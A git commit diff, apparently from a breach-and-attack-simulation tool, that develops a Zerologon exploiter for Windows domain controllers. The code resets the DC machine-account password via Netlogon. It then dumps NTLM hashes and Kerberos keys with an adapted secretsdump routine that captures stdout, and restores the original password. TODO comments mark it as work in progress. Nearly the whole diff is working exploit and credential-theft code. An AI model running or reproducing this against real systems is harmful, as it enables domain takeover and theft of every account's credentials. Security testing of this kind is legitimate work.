Bringing stuff together
This commit is contained in:
parent
5cd8b39f0f
commit
8549ba14cf
|
@ -7,6 +7,7 @@ from __future__ import division, print_function
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import codecs
|
import codecs
|
||||||
|
import io
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
@ -26,7 +27,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
from impacket.krb5.keytab import Keytab
|
from impacket.krb5.keytab import Keytab
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -100,15 +102,18 @@ class ZerologonExploiter(HostExploiter):
|
||||||
else:
|
else:
|
||||||
LOG.info("Non-zero return code, something went wrong.")
|
LOG.info("Non-zero return code, something went wrong.")
|
||||||
|
|
||||||
|
# restore password
|
||||||
|
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
|
||||||
|
|
||||||
## how do i execute monkey on the exploited machine?
|
## how do i execute monkey on the exploited machine?
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
|
||||||
|
|
||||||
def get_dc_details(self):
|
def get_dc_details(self):
|
||||||
dc_ip = self.host.ip
|
dc_ip = self.host.ip_addr
|
||||||
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
|
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
|
||||||
dc_handle = '\\\\' + DC_NAME
|
dc_handle = '\\\\' + dc_name
|
||||||
return dc_ip, dc_name, dc_handle
|
return dc_ip, dc_name, dc_handle
|
||||||
|
|
||||||
def is_exploitable(self):
|
def is_exploitable(self):
|
||||||
|
@ -135,34 +140,52 @@ class ZerologonExploiter(HostExploiter):
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request['ClearNewPassword'] = b'\x00' * 516
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
LOG.info("DCSync; getting original password hashes.")
|
||||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP)
|
||||||
if rpc_con is not None:
|
|
||||||
break
|
|
||||||
|
|
||||||
if rpc_con:
|
try:
|
||||||
LOG.info("DC machine account password should be restored to its original value.")
|
if not original_pwd_nthash:
|
||||||
else:
|
raise Exception("Couldn't extract nthash of original password.")
|
||||||
LOG.info("Failed to restore password.")
|
|
||||||
|
|
||||||
def get_original_pwd_nthash(DC_NAME, DC_IP):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
OPTIONS_FOR_SECRETSDUMP['target'] = '\\$@'.join([DC_NAME, DC_IP]) # format for DC account: NetBIOSName\$@10.2.1.1
|
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||||
OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
|
if rpc_con is not None:
|
||||||
|
break
|
||||||
|
|
||||||
|
if rpc_con:
|
||||||
|
LOG.info("DC machine account password should be restored to its original value.")
|
||||||
|
else:
|
||||||
|
LOG.info("Failed to restore password.")
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error(e)
|
||||||
|
|
||||||
|
def get_original_pwd_nthash(self, DC_NAME, DC_IP):
|
||||||
|
dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP)
|
||||||
|
for secret in dumped_secrets:
|
||||||
|
if DC_NAME in secret:
|
||||||
|
nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
return nthash
|
||||||
|
|
||||||
|
def get_dumped_secrets(self, DC_NAME, DC_IP):
|
||||||
|
self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
|
self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
|
||||||
|
|
||||||
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||||
OPTIONS_FOR_SECRETSDUMP['target']).groups('')
|
self.OPTIONS_FOR_SECRETSDUMP['target']).groups('')
|
||||||
|
|
||||||
# In case the password contains '@'
|
# In case the password contains '@'
|
||||||
if '@' in remote_name:
|
if '@' in remote_name:
|
||||||
password = password + '@' + remote_name.rpartition('@')[0]
|
password = password + '@' + remote_name.rpartition('@')[0]
|
||||||
remote_name = remote_name.rpartition('@')[2]
|
remote_name = remote_name.rpartition('@')[2]
|
||||||
|
|
||||||
dumper = DumpSecrets(remote_name, username, password, domain, OPTIONS_FOR_SECRETSDUMP)
|
dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP)
|
||||||
dumper.dump()
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
|
@ -245,6 +268,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
|
# Used to get original password hash
|
||||||
class DumpSecrets:
|
class DumpSecrets:
|
||||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||||
self.__use_VSS_method = options['use_vss']
|
self.__use_VSS_method = options['use_vss']
|
||||||
|
@ -293,6 +317,11 @@ class DumpSecrets:
|
||||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
|
orig_stdout = sys.stdout
|
||||||
|
new_stdout = io.StringIO()
|
||||||
|
sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed
|
||||||
|
dumped_secrets = ''
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
if self.__remote_name.upper() == 'LOCAL' and self.__username == '':
|
||||||
self.__is_remote = False
|
self.__is_remote = False
|
||||||
|
@ -318,14 +347,14 @@ class DumpSecrets:
|
||||||
# SMBConnection failed. That might be because there was no way to log into the
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
# target system. We just have a last resort. Hope we have tickets cached and that they
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
# will work
|
# will work
|
||||||
logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
LOG.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
self.__remote_ops = RemoteOperations(self.__smb_connection, self.__do_kerberos, self.__kdc_host)
|
||||||
self.__remote_ops.setExecMethod(self.__options['exec_method'])
|
self.__remote_ops.setExecMethod(self.__options['exec_method'])
|
||||||
if self.__just_dc is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
if self.__just_DC is False and self.__just_DC_NTLM is False or self.__use_VSS_method is True:
|
||||||
self.__remote_ops.enableRegistry()
|
self.__remote_ops.enableRegistry()
|
||||||
bootkey = self.__remote_ops.getBootKey()
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
# Let's check whether target system stores LM Hashes
|
# Let's check whether target system stores LM Hashes
|
||||||
|
@ -336,13 +365,13 @@ class DumpSecrets:
|
||||||
and self.__do_kerberos is True:
|
and self.__do_kerberos is True:
|
||||||
# Giving some hints here when SPN target name validation is set to something different to Off
|
# Giving some hints here when SPN target name validation is set to something different to Off
|
||||||
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/
|
||||||
logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
LOG.error('Policy SPN target name validation might be restricting full DRSUAPI dump.' +
|
||||||
'Try -just-dc-user')
|
'Try -just-dc-user')
|
||||||
else:
|
else:
|
||||||
logging.error('RemoteOperations failed: %s' % str(e))
|
LOG.error('RemoteOperations failed: %s' % str(e))
|
||||||
|
|
||||||
# If RemoteOperations succeeded, then we can extract SAM and LSA
|
# If RemoteOperations succeeded, then we can extract SAM and LSA
|
||||||
if self.__just_dc is False and self.__just_dc_ntlm is False and self.__can_process_SAM_LSA:
|
if self.__just_DC is False and self.__just_DC_NTLM is False and self.__can_process_SAM_LSA:
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
SAM_file_name = self.__remote_ops.saveSAM()
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
|
@ -354,7 +383,7 @@ class DumpSecrets:
|
||||||
if self.__output_file_name is not None:
|
if self.__output_file_name is not None:
|
||||||
self.__SAM_hashes.export(self.__output_file_name)
|
self.__SAM_hashes.export(self.__output_file_name)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
LOG.error('SAM hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -374,7 +403,7 @@ class DumpSecrets:
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
if logging.getLogger().level == logging.DEBUG:
|
||||||
import traceback
|
import traceback
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
LOG.error('LSA hashes extraction failed: %s' % str(e))
|
||||||
|
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
||||||
if self.__is_remote is True:
|
if self.__is_remote is True:
|
||||||
|
@ -387,7 +416,7 @@ class DumpSecrets:
|
||||||
|
|
||||||
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
|
self.__NTDS_hashes = NTDSHashes(NTDS_file_name, bootkey, isRemote=self.__is_remote, history=self.__history,
|
||||||
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
noLMHash=self.__no_lmhash, remoteOps=self.__remote_ops,
|
||||||
useVSSmethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
useVSSMethod=self.__use_VSS_method, justNTLM=self.__just_DC_NTLM,
|
||||||
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
|
pwdLastSet=self.__pwd_last_set, resumeSession=self.__resume_file_name,
|
||||||
outputFileName=self.__output_file_name, justUser=self.__just_user,
|
outputFileName=self.__output_file_name, justUser=self.__just_user,
|
||||||
printUserStatus=self.__print_user_status)
|
printUserStatus=self.__print_user_status)
|
||||||
|
@ -405,41 +434,33 @@ class DumpSecrets:
|
||||||
os.unlink(resume_file)
|
os.unlink(resume_file)
|
||||||
logging.error(e)
|
logging.error(e)
|
||||||
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
if self.__just_user and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
|
||||||
logging.info("You just got that error because there might be some duplicates of the same name. "
|
LOG.error("You just got that error because there might be some duplicates of the same name. "
|
||||||
"Try specifying the domain name for the user as well. It is important to specify it "
|
"Try specifying the domain name for the user as well. It is important to specify it "
|
||||||
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
|
"in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
|
||||||
elif self.__use_VSS_method is False:
|
elif self.__use_VSS_method is False:
|
||||||
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
LOG.error('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except (Exception, KeyboardInterrupt) as e:
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
if logging.getLogger().level == logging.DEBUG:
|
import traceback
|
||||||
import traceback
|
print(traceback.format_exc())
|
||||||
traceback.print_exc()
|
LOG.error(e)
|
||||||
logging.error(e)
|
|
||||||
if self.__NTDS_hashes is not None:
|
if self.__NTDS_hashes is not None:
|
||||||
if isinstance(e, KeyboardInterrupt):
|
if isinstance(e, KeyboardInterrupt):
|
||||||
while True:
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
answer = input("Delete resume session file? [y/N] ")
|
if resume_file is not None:
|
||||||
if answer.upper() == '':
|
os.unlink(resume_file)
|
||||||
answer = 'N'
|
|
||||||
break
|
|
||||||
elif answer.upper() == 'Y':
|
|
||||||
answer = 'Y'
|
|
||||||
break
|
|
||||||
elif answer.upper() == 'N':
|
|
||||||
answer = 'N'
|
|
||||||
break
|
|
||||||
if answer == 'Y':
|
|
||||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
|
||||||
if resume_file is not None:
|
|
||||||
os.unlink(resume_file)
|
|
||||||
try:
|
try:
|
||||||
self.cleanup()
|
self.cleanup()
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
finally:
|
||||||
|
sys.stdout = orig_stdout
|
||||||
|
new_stdout.seek(0)
|
||||||
|
dumped_secrets = new_stdout.read() # includes hashes and kerberos keys
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
logging.info('Cleaning up... ')
|
LOG.info('Cleaning up...')
|
||||||
if self.__remote_ops:
|
if self.__remote_ops:
|
||||||
self.__remote_ops.finish()
|
self.__remote_ops.finish()
|
||||||
if self.__SAM_hashes:
|
if self.__SAM_hashes:
|
||||||
|
@ -448,3 +469,9 @@ class DumpSecrets:
|
||||||
self.__LSA_secrets.finish()
|
self.__LSA_secrets.finish()
|
||||||
if self.__NTDS_hashes:
|
if self.__NTDS_hashes:
|
||||||
self.__NTDS_hashes.finish()
|
self.__NTDS_hashes.finish()
|
||||||
|
|
||||||
|
# how to execute monkey on exploited machine
|
||||||
|
# clean up logging
|
||||||
|
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
|
||||||
|
# mention patching details in report
|
||||||
|
# add exploit info to documentation
|
||||||
|
|
Loading…
Reference in New Issue